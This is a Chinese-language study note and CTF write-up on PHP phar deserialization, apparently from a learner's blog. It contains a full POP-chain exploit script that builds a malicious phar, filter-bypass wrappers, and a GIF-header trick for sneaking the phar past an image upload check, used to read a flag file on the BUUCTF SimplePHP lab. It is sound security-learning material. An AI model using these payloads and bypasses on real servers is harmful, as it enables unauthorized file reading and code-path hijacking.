7.27 phar反序列化学习记录
phar反序列化学习记录
ophar文件是php里一种打包文件
o在PHP 5.3 或更高版本中默认开启
而生成、使用phar文件时需要在php.ini中需要设置phar.readonly=Off,
不要像我一样,记得前面的分号记得也要删掉,不然默认禁用的
咱要反序列化,总得先生成一个序列化的文件吧。。
请看,生成phar序列化文件参考模板文件如下
<?php
class Test{
public $num=1;
}
$test=new Test();
/* 文件名 */
$phar = new Phar("a.phar"); // 文件名
$phar->startBuffering();
/* 设置stub,必须以__HALT_COMPILER(); ?>结尾 */
$phar->setStub("<?php __HALT_COMPILER(); ?>");
/* 设定自定义的Metadata序列化存储,解析的时候会自动反序列化 */
$phar->setMetadata($test);
/* 添加要压缩的文件 */
$phar->addFromString("test1.txt", "test1");
$phar->addFromString("test2.txt", "test2");
$phar->stopBuffering();
echo "done";
?>
通过file_get_contents 反序列化phar文件举例
这里的pop链只有一条析构函数destrcut,直接就爆出来flag
<?php
class Test {
public $num = 2;
public function __destruct() {
if ($this->num === 1) {
echo 'flag{dsa45df65sa4f86fawfd}';
}
}
}
// data = O:4:"Test":1:{s:3:"num";i:1;}
// $aa = new Test();
// $aa->num = 1;
// echo serialize($aa);
// unserialize($_GET['data']);
echo file_get_contents('phar://a.phar/test2.txt');
?>
拓展:一些可以自动触发phar反序列化的函数
fileatime / filectime / filemtime
stat / fileinode / fileowner / filegroup / fileperms
file / file_get_contents / readfile / fopen
file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
parse_ini_file
unlink
copy
其他的函数
image
exif_thumbnail
exif_imagetype
imageloadfont
imagecreatefrom***
getimagesize
getimagesizefromstring
hash
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
file / url
get_meta_tags
get_headers
绕过 ban掉phar://的情况
答:使用压缩格式
一般,我们通过phar://协议上传,但是有时候一些有心的人可能会ban掉,下面这些也可尝试一下
compress.bzip://phar://a.phar/test1.txt
compress.bzip2://phar://a.phar/test1.txt
compress.zlib://phar://a.phar/test1.txt
php://filter/resource=phar://a.phar/test1.txt
php://filter/read=convert.base64-encode/resource=phar://a.phar/test1.txt
绕过指定格式图片检查
有时候上传文件的时候,例如,他只看后缀名一定要图片类型格式的文件。
那么这也是为什么我们用phar类型的原因之一,他是可以任意修改文件类型,不影响里面的压缩文件内容。
ophar文件名可以修改后缀,a.phar可以改成a.png、a.gif、a.jpg
例如 文件开头可以添加GIF89a,就可以伪装成gif图片,欺骗对方的服务器
BUUCTF [SWPUCTF 2018]SimplePHP
进去是一个文件上传和查询文件的两个窗口。
信息搜集
我们先尝试有没有源代码
后经发现可以直接访问
可以看到,这里是可以直接访问目录下的文件,我们于是可以得到class.php,file.php,function.php,index.php,base.php
我们在base.php里面看到了一个线索,他说flag在f1ag.php文件里面
这边也可看到了上传的一些限制,主要是必须图片类型文件。。不过也给出了一个路径。
我们尝试通过char反序列化做这道题
pop链构造
现在我们开始逐个审计。
首先是file.php,我们在这里主要关注的是一个file_exists()函数,这是会phar自动反序列化的一个函数,然后次要的就是文件的绝对路径也可以根据他提供的目录推断出来了。
接下来看class.php,这边有三个类。C1e4r,Show, 和Test ,每个类都有用,我们构造pop链有用。
首先承接上面的一个文件读取逻辑
这边的正则过滤规则确实也出来了,我们可以进一步确信phar的可行性。
这边比较引起我关注的是Test类中的一个file_get_content()函数,这应该是最后一步,我比较喜欢倒推,不喜勿喷。
接下来我们考虑的是怎么调用Test类的对象中的参数。
在Show类中有一个__tostring()魔术方法,有一个非常贴合的语句
我如果生成Test()类的一个对象c,那么我只要:\(str['str']=\)c
那么这里的\(content就相当于是\)c->source,source是Test()类中未定义的属性,也是会访问到__get请求方法。
OK,那么我们也就可以对Test()类中的对象c,设定$c->param['source']="/var/www/html/f1ag.php"(flag的目录)
那么这就是pop链倒数第二条Show::__tostring()
那么,我们只需要令$a->str = $b; 或者 \(a->test=\)b; 就可以执行__tostring函数了
至此,pop链也出来了 Cle4r::__destruct()=>Show::__tostring()=>Test::__get()
我们可以生成一个序列化的phar文件了,后面就等着反序列化爆出base64加密后的falg。。。嘿嘿
构造的代码参考如下
//payload.php
<?php
class C1e4r
{
public $test;
public $str;
/*
首先执行这一条,为了执行Show类中的__tostring,我们把$test,也就是$str变量设置为Show类的b对象当作字符串赋值,
即 $a->str = $b; 或者 $a->test=$b;
*/
public function __destruct()
{
echo __METHOD__."<br>";
$this->test = $this->str;
echo $this->test;
}
}
class Show
{
public $source;
public $str;
/*
这边目标是访问Test类中c变量的__get()方法,从而访问到$c->params['source']的base64编码后的真正文件内容
那么就是需要访问Test类中的source属性
即$b->str['str'] = $c;
这样一来,就是访问了$c->source
*/
public function __toString()
{
echo __METHOD__."<br>";
$content = $this->str['str']->source;
return $content;
}
}
class Test
{
public $file;
public $params;
public function __get($key)
{
echo __METHOD__."=>key=".$key." <br>";
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key]; // $this->params[$key] = "f1ag.php"
} else {
$value = "index.php";
}
return $this->file_get($value);
}
}
$a = new C1e4r();
$b = new Show();
$c = new Test();
$b->str['str'] = $c;//构成$c->source访问Test类中不存在的source属性触发__get
$c->params['source'] = 'var/www/html/f1ag.php'; // 回显的文件
$a->str = $b; // 触发__tostring
// echo "序列化结果".serialize($a)."<br>";
/* 文件名 */
$phar = new Phar("ljy.phar"); // 文件名
$phar->startBuffering();
/* 设置stub,必须以__HALT_COMPILER(); ?>结尾 */
$phar->setStub("<?php __HALT_COMPILER(); ?>");
/* 设定自定义的Metadata序列化存储,解析的时候会自动反序列化 */
$phar->setMetadata($a);
/* 添加要压缩的文件 */
$phar->addFromString("test1.txt", "test1");
$phar->addFromString("test2.txt", "test2");
$phar->stopBuffering();
echo "finish.";
?>
我这里加了一些调试语句
可以看到,确实是符合我们的思路在运行着的。
上传并运行phar文件
我们把生成的ljy.phar文件修改成ljy.gif ,尝试上传一下
OK,这边md5加密的文件也出来了,我们直接去文件执行!
http://395f8424-9490-4629-8f8d-7f84d3dd447a.node4.buuoj.cn:81/file.php?file=phar://upload/9ac682614516560cd2c68b195646cf4a.jpg
得到了加密后的base64编码
也是得到了最后的flag。